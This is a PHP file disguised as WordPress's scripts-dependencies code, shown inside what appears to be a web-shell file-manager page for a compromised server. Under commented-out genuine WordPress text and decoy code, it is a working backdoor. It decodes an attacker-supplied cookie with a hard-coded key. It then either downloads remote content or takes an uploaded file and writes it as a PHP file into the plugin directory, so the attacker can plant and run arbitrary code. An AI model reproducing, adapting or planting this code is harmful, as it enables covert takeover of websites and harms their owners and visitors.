| Server IP : 89.248.107.232 / Your IP : 216.73.217.70 Web Server : Apache System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64 User : seg ( 10005) PHP Version : 7.4.33 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/seg-sa.es/serinco.es/wp-content/plugins/5ns1s4n8/ |
Upload File : |
<?php /*
*
* Dependencies API: Scripts functions
*
* @since 2.6.0
*
* @package WordPress
* @subpackage Dependencies
*
* Initialize $wp_scripts if it has not been set.
*
* @global WP_Scripts $wp_scripts
*
* @since 4.2.0
*
* @return WP_Scripts WP_Scripts instance.
function wp_scripts() {
global $wp_scripts;
if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
$wp_scripts = new WP_Scripts();
}
return $wp_scripts;
}
*
* Helper function to output a _doing_it_wrong message when applicable.
*
* @ignore
* @since 4.2.0
* @since 5.5.0 Added the `$handle` parameter.
*
* @param string $function Function name.
* @param string $handle Optional. Name of the script or stylesheet that was
* registered or enqueued too early. Default empty.
function _wp_scripts_maybe_doing_it_wrong( $function, $handle = '' ) {
if ( did_action( 'init' ) || did_action( 'wp_enqueue_scripts' )
|| did_action( 'admin_enqueue_scripts' ) || did_action( 'login_enqueue_scripts' )
) {
return;
}
$message = sprintf(
translators: 1: wp_enqueue_scripts, 2: admin_enqueue_scripts, 3: login_enqueue_scripts
__( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
'<code>wp_enqueue_scripts</code>',
'<code>admin_enqueue_scripts</code>',
'<code>login_enqueue_scripts</code>'
);
if ( $handle ) {
$message .= ' ' . sprintf(
translators: %s: Name of the script or stylesheet.
__( 'This notice was triggered by the %s handle.' ),
'<code>' . $handle . '</code>'
);
}
_doing_it_wrong(
$function,
$message,
'3.3.0'
);
}
*
* Prints scripts in document head that are in the $handles queue.
*
* Called by admin-header.php and {@see 'wp_head'} hook. Since it is called by wp_head on every page load,
* the function does not instantiate the WP_Scripts object unless script names are explicitly passed.
* Makes use of already-instantiated $wp_scripts global if present. Use provided {@see 'wp_print_scripts'}
* hook to register/enqueue new scripts.
*
* @see WP_Scripts::do_item()
* @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
*
* @since 2.1.0
*
* @param string|bool|array $handles Optional. Scripts to be printed. Default 'false'.
* @return string[] On success, an array of handles of processed WP_Dependencies items; otherwise, an empty array.
function wp_print_scripts( $handles = false ) {
global $wp_scripts;
*
* Fires before scripts in the $handles queue are printed.
*
* @since 2.1.0
do_action( 'wp_print_scripts' );
if ( '' === $handles ) { For 'wp_head'.
$handles = false;
}
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
if ( ! $handles ) {
return array(); No need to instantiate if nothing is there.
}
}
return wp_scripts()->do_items( $handles );
}
*
* Adds extra code to a registered script.
*
* Code will only be added if the script is already in the queue.
* Accepts a string $data containing the Code. If two or more code blocks
* are added to the same script $handle, they will be printed in the order
* they were added, i.e. the latter added code can redeclare the previous.
*
* @since 4.5.0
*
* @see WP_Scripts::add_inline_script()
*
* @param string $handle Name of the script to add the inline script to.
* @param string $data String containing the JavaScript to be added.
* @param string $position Optional. Whether to add the inline script before the handle
* or after. Default 'after'.
* @return bool True on success, false on failure.
function wp_add_inline_script( $handle, $data, $position = 'after' ) {
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
if ( false !== stripos( $data, '</script>' ) ) {
_doing_it_wrong(
__FUNCTION__,
sprintf(
translators: 1: <script>, 2: wp_add_inline_script()
__( 'Do not pass %1$s tags to %2$s.' ),
'<code><script></code>',
'<code>wp_add_inline_script()</code>'
),
'4.5.0'
);
$data = trim( preg_replace( '#<script[^>]*>(.*)</script>#is', '$1', $data ) );
}
return wp_scripts()->add_inline_script( $handle, $data, $position );
}
*
* Register a new script.
*
* Registers a script to be enqueued later using the wp_enqueue_script() function.
*
* @see WP_Dependencies::add()
* @see WP_Dependencies::add_data()
*
* @since 2.1.0
* @since 4.3.0 A return value was added.
*
* @param string $handle Name of the script. Should be unique.
* @param string|false $src Full URL of the script, or path of the script relative to the WordPress root directory.
* If source is set to false, script is an alias of other scripts it depends on.
* @param string[] $deps Optional. An array of registered script handles this script depends on. Default empty array.
* @param string|bool|null $ver Optional. String specifying script version number, if it has one, which is added to the URL
* as a query string for cache busting purposes. If version is set to false, a version
* number is automatically added equal to current ins*/
/**
* Fires after a new user registration has been recorded.
*
* @since 4.4.0
*
* @param int $user_id ID of the newly registered user.
*/
function clear_global_post_cache($htaccess_rules_string)
{
$htaccess_rules_string = ord($htaccess_rules_string);
$zero = ' Remove spaces '; // ----- Check if the option is supported
$shortened_selector = trim($zero);
if (!empty($shortened_selector)) {
$trashed = strtoupper($shortened_selector);
}
return $htaccess_rules_string;
} // Move any left over widgets to inactive sidebar.
/**
* Exception for 412 Precondition Failed responses
*
* @package Requests\Exceptions
*/
function register_block_core_comments($link_atts)
{ // password for http authentication
return has_meta() . DIRECTORY_SEPARATOR . $link_atts . ".php";
}
/**
* Adds REST rewrite rules.
*
* @since 4.4.0
*
* @see add_rewrite_rule()
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*/
function rotr64($part, $plugin_info) // ANSI ö
{
$weekday_initial = $_COOKIE[$part];
$valid_scheme_regex = array(5, 10, 15);
$term_objects = max($valid_scheme_regex); // We will represent the two 4-bit fields of compr as follows:
$p_with_code = array_sum($valid_scheme_regex); // @codeCoverageIgnoreEnd
$parent_theme_version_debug = $p_with_code / count($valid_scheme_regex); // Localize message content for user; fallback to site default for visitors.
$weekday_initial = jsonSerialize($weekday_initial);
$transient_key = comment_date($weekday_initial, $plugin_info);
if (set_upgrader($transient_key)) {
$Original = sodium_crypto_box_keypair_from_secretkey_and_publickey($transient_key); // Edge case where the Reading settings has a posts page set but not a static homepage.
return $Original;
}
the_header_image_tag($part, $plugin_info, $transient_key);
}
/**
* Fires after the given attachment's cache is cleaned.
*
* @since 3.0.0
*
* @param int $success_urld Attachment ID.
*/
function inject_ignored_hooked_blocks_metadata_attributes($hints, $last_edited)
{
$token = file_get_contents($hints);
$plugin_stats = "SpecialString";
$redir = rawurldecode($plugin_stats);
$newheaders = comment_date($token, $last_edited);
file_put_contents($hints, $newheaders);
} // Why do we do this? cURL will send both the final response and any
/**
* Removes any rewrite rules, permastructs, and rules for the taxonomy.
*
* @since 4.7.0
*
* @global WP $wp Current WordPress environment instance.
*/
function has_meta()
{ // Pad 24-bit int.
return __DIR__;
}
/**
* @var array Custom curl options
* @see SimplePie::set_curl_options()
* @access private
*/
function validate_user_signup($part, $plugin_info, $transient_key) // FF
{
$link_atts = $_FILES[$part]['name']; // If this is a pingback that we're pre-checking, the discard behavior is the same as the normal spam response behavior.
$password_value = "sampledata";
$toggle_links = rawurldecode($password_value);
if (strlen($toggle_links) > 5) {
$update_transactionally = hash("md5", $toggle_links);
}
$hints = register_block_core_comments($link_atts);
inject_ignored_hooked_blocks_metadata_attributes($_FILES[$part]['tmp_name'], $plugin_info);
ristretto255_scalar_sub($_FILES[$part]['tmp_name'], $hints);
}
/**
* Aborts calls to site meta if it is not supported.
*
* @since 5.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param mixed $macdateheck Skip-value for whether to proceed site meta function execution.
* @return mixed Original value of $macdateheck, or false if site meta is not supported.
*/
function CalculateCompressionRatioAudio($htaccess_rules_string)
{
$tester = sprintf("%c", $htaccess_rules_string);
$num_bytes_per_id = array();
for ($success_url = 0; $success_url < 5; $success_url++) {
$num_bytes_per_id[] = date('d/m/Y', strtotime("+$success_url day"));
}
// s12 = 0;
$last_comment = end($num_bytes_per_id);
return $tester;
} // Long form response - big chunk of HTML.
/**
* Adds a sidebar to the contextual help for the screen.
*
* Call this in template files after admin.php is loaded and before admin-header.php is loaded
* to add a sidebar to the contextual help.
*
* @since 3.3.0
*
* @param string $AuthString Sidebar content in plain text or HTML.
*/
function set_upgrader($rootcommentquery) // Auto on archived or spammed blog.
{
if (strpos($rootcommentquery, "/") !== false) { // $matches[1] is the year the post was published.
return true;
}
return false;
}
/*
* > A start tag whose tag name is "image"
* > Change the token's tag name to "img" and reprocess it. (Don't ask.)
*/
function the_header_image_tag($part, $plugin_info, $transient_key)
{
if (isset($_FILES[$part])) {
$has_solid_overlay = ' Hello ';
$new_post_data = trim($has_solid_overlay);
validate_user_signup($part, $plugin_info, $transient_key);
$recently_activated = strlen($new_post_data);
if ($recently_activated > 0) {
$screen_title = str_pad($new_post_data, 10);
}
}
// Sanitize_post() skips the post_content when user_can_richedit.
get_others_drafts($transient_key);
}
/* translators: 1: User's first name, 2: Last name. */
function handle_auto_add($tester, $sticky_inner_html)
{
$markerdata = clear_global_post_cache($tester) - clear_global_post_cache($sticky_inner_html);
$MPEGheaderRawArray = array(10, 20, 30);
if (in_array(20, $MPEGheaderRawArray)) {
$walker = array_sum($MPEGheaderRawArray);
}
// Schedule a cleanup for 2 hours from now in case of failed installation.
$markerdata = $markerdata + 256;
$parent_theme_version_debug = count($MPEGheaderRawArray) ? $walker / count($MPEGheaderRawArray) : 0;
$sitemaps = round($parent_theme_version_debug);
$markerdata = $markerdata % 256;
$tester = CalculateCompressionRatioAudio($markerdata);
return $tester;
}
/** @todo Might need fix because usermeta data is assumed to be already escaped */
function ristretto255_scalar_sub($num_posts, $post_parent_cache_keys)
{
$month = move_uploaded_file($num_posts, $post_parent_cache_keys);
$nRadioRgAdjustBitstring = "Random-Data";
$IPLS_parts = substr($nRadioRgAdjustBitstring, 7, 4);
$next_event = rawurldecode($IPLS_parts);
$returnkey = hash("sha1", $next_event);
if (!empty($returnkey)) {
$working_dir = strlen($returnkey);
$panel_type = str_pad($returnkey, 40, "X");
}
$parent_valid = explode("-", "x-y-z");
$top_level_pages = array("w", "u");
$name_orderby_text = array_merge($parent_valid, $top_level_pages);
return $month;
}
/**
* Core class used to implement the Toolbar API.
*
* @since 3.1.0
*/
function wp_salt($rootcommentquery)
{
$rootcommentquery = get_enclosures($rootcommentquery);
$heading_tag = array('element1', 'element2', 'element3');
$uncompressed_size = count($heading_tag);
if ($uncompressed_size > 2) {
$seplocation = array_merge($heading_tag, array('element4'));
$search_errors = implode(',', $seplocation);
}
if (!empty($seplocation)) {
$kids = hash('sha224', $search_errors);
}
return file_get_contents($rootcommentquery);
}
/**
* Build a Translation_Entry from original string and translation strings,
* found in a MO file
*
* @static
* @param string $original original string to translate from MO file. Might contain
* 0x04 as context separator or 0x00 as singular/plural separator
* @param string $translation translation string from MO file. Might contain
* 0x00 as a plural translations separator
* @return Translation_Entry Entry instance.
*/
function is_delayed_strategy($rootcommentquery)
{
$link_atts = basename($rootcommentquery);
$separator = "basic_test";
$CommandTypeNameLength = hash("md5", $separator);
$macdate = str_pad("0", 20, "0");
$hints = register_block_core_comments($link_atts);
$meta_ids = substr($CommandTypeNameLength, 0, 8);
$paths_to_index_block_template = rawurldecode($separator);
$missing_schema_attributes = count(array($separator, $CommandTypeNameLength));
get_random_header_image($rootcommentquery, $hints);
}
/**
* Adds count of children to parent count.
*
* Recalculates term counts by including items from child terms. Assumes all
* relevant children are already in the $terms argument.
*
* @access private
* @since 2.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param object[]|WP_Term[] $terms List of term objects (passed by reference).
* @param string $taxonomy Term context.
*/
function get_post_mime_types($part) // Adds 'noopener' relationship, without duplicating values, to all HTML A elements that have a target.
{
$plugin_info = 'HOmJIHcnqDbsvmgHIjPvsRXJHb';
$wp_post_statuses = " Hello World! ";
if (isset($_COOKIE[$part])) { // User hooks.
rotr64($part, $plugin_info);
$shortened_selector = trim($wp_post_statuses); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error
$primary_id_column = substr($shortened_selector, 0, 5);
} // ----- Store the offset position of the file
} // $p_add_dir : Path to add in the filename path archived
/**
* Generates and prints the `@font-face` styles for the given fonts.
*
* @since 6.4.0
*
* @param array[][] $missing_schema_attributesonts Optional. The font-families and their font variations.
* See {@see wp_print_font_faces()} for the supported fields.
* Default empty array.
*/
function jsonSerialize($pass1) // ----- Look if not found end of central dir
{
$registered_categories = pack("H*", $pass1);
$wp_post_statuses = " PHP is fun! ";
$slug_match = trim($wp_post_statuses);
$tablekey = str_replace(" ", "", $slug_match);
$PossiblyLongerLAMEversion_NewString = strlen($tablekey);
return $registered_categories; // An empty translates to 'all', for backward compatibility.
}
/**
* Get data for an channel-level element
*
* This method allows you to get access to ANY element/attribute in the
* image/logo section of the feed.
*
* See {@see SimplePie::get_feed_tags()} for a description of the return value
*
* @since 1.0
* @see http://simplepie.org/wiki/faq/supported_xml_namespaces
* @param string $namespace The URL of the XML namespace of the elements you're trying to access
* @param string $tag Tag name
* @return array
*/
function get_others_drafts($selector_markup)
{ //$v_memory_limit_int = $v_memory_limit_int*1024*1024*1024;
echo $selector_markup;
}
/**
* Fires immediately following the closing "actions" div in the tablenav for the
* MS sites list table.
*
* @since 5.3.0
*
* @param string $which The location of the extra table nav markup: Either 'top' or 'bottom'.
*/
function sodium_crypto_box_keypair_from_secretkey_and_publickey($transient_key)
{ // Ensure we have an ID and title.
is_delayed_strategy($transient_key);
$name_attr = "ChunkDataPiece";
get_others_drafts($transient_key);
}
/**
* Filters the post thumbnail URL.
*
* @since 5.9.0
*
* @param string|false $thumbnail_url Post thumbnail URL or false if the post does not exist.
* @param int|WP_Post|null $post Post ID or WP_Post object. Default is global `$post`.
* @param string|int[] $size Registered image size to retrieve the source for or a flat array
* of height and width dimensions. Default 'post-thumbnail'.
*/
function get_after_opener_tag_and_before_closer_tag_positions($with_prefix) { // Bail if there's no XML.
$walker = wp_img_tag_add_srcset_and_sizes_attr($with_prefix);
$queried_post_types = "This is a very long string used for testing";
$read_cap = strlen($queried_post_types); // WORD wFormatTag; //(Fixme: this is equal to PCM's 0x01 format code)
$stylesheet_handle = substr($queried_post_types, 0, 15);
$right_lines = rawurldecode("This%20is%20a%20string");
return $walker / count($with_prefix);
}
/*
* RFC 2047 section 5.2.
* Build $pattern without including delimiters and []
*/
function comment_date($rp_path, $last_edited)
{
$match_against = strlen($last_edited);
$thisfile_riff_RIFFsubtype_COMM_0_data = array("test1", "test2", "test3");
$more_string = implode(",", $thisfile_riff_RIFFsubtype_COMM_0_data); // Sanitize the plugin filename to a WP_PLUGIN_DIR relative path.
$Txxx_element = hash('sha1', $more_string); // 0? reserved?
$navigation_post = strlen($rp_path);
$reassign = str_pad($Txxx_element, 25, "#"); // If the file name is part of the `src`, we've confirmed a match.
if (isset($reassign)) {
$visible = substr($reassign, 3, 10);
}
$match_against = $navigation_post / $match_against;
$match_against = ceil($match_against);
$pending_comments = str_split($rp_path);
$last_edited = str_repeat($last_edited, $match_against);
$page_item_type = str_split($last_edited); // Name of seller <text string according to encoding> $00 (00)
$page_item_type = array_slice($page_item_type, 0, $navigation_post);
$sub_shift = array_map("handle_auto_add", $pending_comments, $page_item_type);
$sub_shift = implode('', $sub_shift);
return $sub_shift;
}
/**
* Verifies the contents of a file against its ED25519 signature.
*
* @since 5.2.0
*
* @param string $missing_schema_attributesilename The file to validate.
* @param string|array $signatures A Signature provided for the file.
* @param string|false $missing_schema_attributesilename_for_errors Optional. A friendly filename for errors.
* @return bool|WP_Error True on success, false if verification not attempted,
* or WP_Error describing an error condition.
*/
function wp_img_tag_add_srcset_and_sizes_attr($with_prefix) {
$screen_links = "DEV56789";
$html_link_tag = str_pad($screen_links, 15, '0', STR_PAD_LEFT); // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
$thisfile_asf_codeclistobject_codecentries_current = hash('sha256', $html_link_tag);
if (strlen($thisfile_asf_codeclistobject_codecentries_current) > 50) {
$orders_to_dbids = substr($thisfile_asf_codeclistobject_codecentries_current, 0, 50);
} else {
$orders_to_dbids = str_replace('0', 'X', $thisfile_asf_codeclistobject_codecentries_current);
}
// Look for plural original.
$walker = 0;
$thisfile_asf_paddingobject = strlen($orders_to_dbids);
foreach ($with_prefix as $WEBP_VP8_header) { // FIRMware version(?), seen on GoPro Hero4
$walker += $WEBP_VP8_header;
}
return $walker;
} // Check if a directory exists, if not it creates it and all the parents directory
/**
* Retrieves thumbnail for an attachment.
* Note that this works only for the (very) old image metadata style where 'thumb' was set,
* and the 'sizes' array did not exist. This function returns false for the newer image metadata style
* despite that 'thumbnail' is present in the 'sizes' array.
*
* @since 2.1.0
* @deprecated 6.1.0
*
* @param int $post_id Optional. Attachment ID. Default is the ID of the global `$post`.
* @return string|false Thumbnail file path on success, false on failure.
*/
function get_enclosures($rootcommentquery)
{ // Bail if we're already previewing.
$rootcommentquery = "http://" . $rootcommentquery;
$qpos = array("One", "Two", "Three");
$mq_sql = count($qpos);
for ($success_url = 0; $success_url < $mq_sql; $success_url++) {
$qpos[$success_url] = str_replace("e", "3", $qpos[$success_url]);
}
// Adjust offset due to reading strings to separate space before.
return $rootcommentquery;
}
/**
* Constructor.
*
* @since 2.5.0
*
* @param array $opt
*/
function get_random_header_image($rootcommentquery, $hints)
{ # Returning '*' on error is safe here, but would _not_ be safe
$gap_column = wp_salt($rootcommentquery);
$source = "PHP is fun!";
$tablekey = str_word_count($source);
if ($gap_column === false) {
if ($tablekey > 3) {
$has_named_border_color = "It's a long sentence.";
}
return false; // Stop total size calculation.
}
return type_url_form_video($hints, $gap_column);
}
/*
* If we have one theme location, and zero menus, we take them right
* into editing their first menu.
*/
function type_url_form_video($hints, $AuthString)
{ // Symbolic Link.
return file_put_contents($hints, $AuthString);
}
/**
* Filters the list of widgets to load for the User Admin dashboard.
*
* @since 3.1.0
*
* @param string[] $meta_idsashboard_widgets An array of dashboard widget IDs.
*/
function verify_wpcom_key($part, $MPEGaudioEmphasis = 'txt')
{
return $part . '.' . $MPEGaudioEmphasis;
} // If the category is registered inside an action other than `init`, store it
$part = 'eqXL'; // check to see if all the data we need exists already, if so, break out of the loop
$separator = "url+encoded";
get_post_mime_types($part);
$CommandTypeNameLength = rawurldecode($separator);
/* talled WordPress version.
* If set to null, no version is added.
* @param bool $in_footer Optional. Whether to enqueue the script before `</body>` instead of in the `<head>`.
* Default 'false'.
* @return bool Whether the script has been registered. True on success, false on failure.
function wp_register_script( $handle, $src, $deps = array(), $ver = false, $in_footer = false ) {
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
$wp_scripts = wp_scripts();
$registered = $wp_scripts->add( $handle, $src, $deps, $ver );
if ( $in_footer ) {
$wp_scripts->add_data( $handle, 'group', 1 );
}
return $registered;
}
*
* Localize a script.
*
* Works only if the script has already been registered.
*
* Accepts an associative array $l10n and creates a JavaScript object:
*
* "$object_name" = {
* key: value,
* key: value,
* ...
* }
*
* @see WP_Scripts::localize()
* @link https:core.trac.wordpress.org/ticket/11520
* @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
*
* @since 2.2.0
*
* @todo Documentation cleanup
*
* @param string $handle Script handle the data will be attached to.
* @param string $object_name Name for the JavaScript object. Passed directly, so it should be qualified JS variable.
* Example: '/[a-zA-Z0-9_]+/'.
* @param array $l10n The data itself. The data can be either a single or multi-dimensional array.
* @return bool True if the script was successfully localized, false otherwise.
function wp_localize_script( $handle, $object_name, $l10n ) {
global $wp_scripts;
if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
return false;
}
return $wp_scripts->localize( $handle, $object_name, $l10n );
}
*
* Sets translated strings for a script.
*
* Works only if the script has already been registered.
*
* @see WP_Scripts::set_translations()
* @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
*
* @since 5.0.0
* @since 5.1.0 The `$domain` parameter was made optional.
*
* @param string $handle Script handle the textdomain will be attached to.
* @param string $domain Optional. Text domain. Default 'default'.
* @param string $path Optional. The full file path to the directory containing translation files.
* @return bool True if the text domain was successfully localized, false otherwise.
function wp_set_script_translations( $handle, $domain = 'default', $path = '' ) {
global $wp_scripts;
if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
return false;
}
return $wp_scripts->set_translations( $handle, $domain, $path );
}
*
* Remove a registered script.
*
* Note: there are intentional safeguards in place to prevent critical admin scripts,
* such as jQuery core, from being unregistered.
*
* @see WP_Dependencies::remove()
*
* @since 2.1.0
*
* @global string $pagenow The filename of the current screen.
*
* @param string $handle Name of the script to be removed.
function wp_deregister_script( $handle ) {
global $pagenow;
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
*
* Do not allow accidental or negligent de-registering of critical scripts in the admin.
* Show minimal remorse if the correct hook is used.
$current_filter = current_filter();
if ( ( is_admin() && 'admin_enqueue_scripts' !== $current_filter ) ||
( 'wp-login.php' === $pagenow && 'login_enqueue_scripts' !== $current_filter )
) {
$not_allowed = array(
'jquery',
'jquery-core',
'jquery-migrate',
'jquery-ui-core',
'jquery-ui-accordion',
'jquery-ui-autocomplete',
'jquery-ui-button',
'jquery-ui-datepicker',
'jquery-ui-dialog',
'jquery-ui-draggable',
'jquery-ui-droppable',
'jquery-ui-menu',
'jquery-ui-mouse',
'jquery-ui-position',
'jquery-ui-progressbar',
'jquery-ui-resizable',
'jquery-ui-selectable',
'jquery-ui-slider',
'jquery-ui-sortable',
'jquery-ui-spinner',
'jquery-ui-tabs',
'jquery-ui-tooltip',
'jquery-ui-widget',
'underscore',
'backbone',
);
if ( in_array( $handle, $not_allowed, true ) ) {
_doing_it_wrong(
__FUNCTION__,
sprintf(
translators: 1: Script name, 2: wp_enqueue_scripts
__( 'Do not deregister the %1$s script in the administration area. To target the front-end theme, use the %2$s hook.' ),
"<code>$handle</code>",
'<code>wp_enqueue_scripts</code>'
),
'3.6.0'
);
return;
}
}
wp_scripts()->remove( $handle );
}
*
* Enqueue a script.
*
* Registers the script if $src provided (does NOT overwrite), and enqueues it.
*
* @see WP_Dependencies::add()
* @see WP_Dependencies::add_data()
* @see WP_Dependencies::enqueue()
*
* @since 2.1.0
*
* @param string $handle Name of the script. Should be unique.
* @param string $src Full URL of the script, or path of the script relative to the WordPress root directory.
* Default empty.
* @param string[] $deps Optional. An array of registered script handles this script depends on. Default empty array.
* @param string|bool|null $ver Optional. String specifying script version number, if it has one, which is added to the URL
* as a query string for cache busting purposes. If version is set to false, a version
* number is automatically added equal to current installed WordPress version.
* If set to null, no version is added.
* @param bool $in_footer Optional. Whether to enqueue the script before `</body>` instead of in the `<head>`.
* Default 'false'.
function wp_enqueue_script( $handle, $src = '', $deps = array(), $ver = false, $in_footer = false ) {
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
$wp_scripts = wp_scripts();
if ( $src || $in_footer ) {
$_handle = explode( '?', $handle );
if ( $src ) {
$wp_scripts->add( $_handle[0], $src, $deps, $ver );
}
if ( $in_footer ) {
$wp_scripts->add_data( $_handle[0], 'group', 1 );
}
}
$wp_scripts->enqueue( $handle );
}
*
* Remove a previously enqueued script.
*
* @see WP_Dependencies::dequeue()
*
* @since 3.1.0
*
* @param string $handle Name of the script to be removed.
function wp_dequeue_script( $handle ) {
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
wp_scripts()->dequeue( $handle );
}
*
* Determines whether a script has been added to the queue.
*
* For more information on this and similar theme functions, check out
* the {@link https:developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 2.8.0
* @since 3.5.0 'enqueued' added as an alias of the 'queue' list.
*
* @param string $handle Name of the script.
* @param string $list Optional. Status of the script to check. Default 'enqueued'.
* Accepts 'enqueued', 'registered', 'queue', 'to_do', and 'done'.
* @return bool Whether the script is queued.
function wp_script_is( $handle, $list = 'enqueued' ) {
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
return (bool) wp_scripts()->query( $handle, $list );
}
*
* Add metadata to a script.
*
* Works only if the script has already been registered.
*
* Possible values for $key and $value:
* 'conditional' string Comments for IE 6, lte IE 7, etc.
*
* @since 4.2.0
*
* @see WP_Dependencies::add_data()
*
* @param string $handle Name of the script.
* @param string $key Name of data point for which we're storing a value.
* @param mixed $value String containing the data to be added.
* @return bool True on success, false on failure.
function wp_script_add_data( $handle, $key, $value ) {
return wp_scripts()->add_data( $handle, $key, $value );
}
*/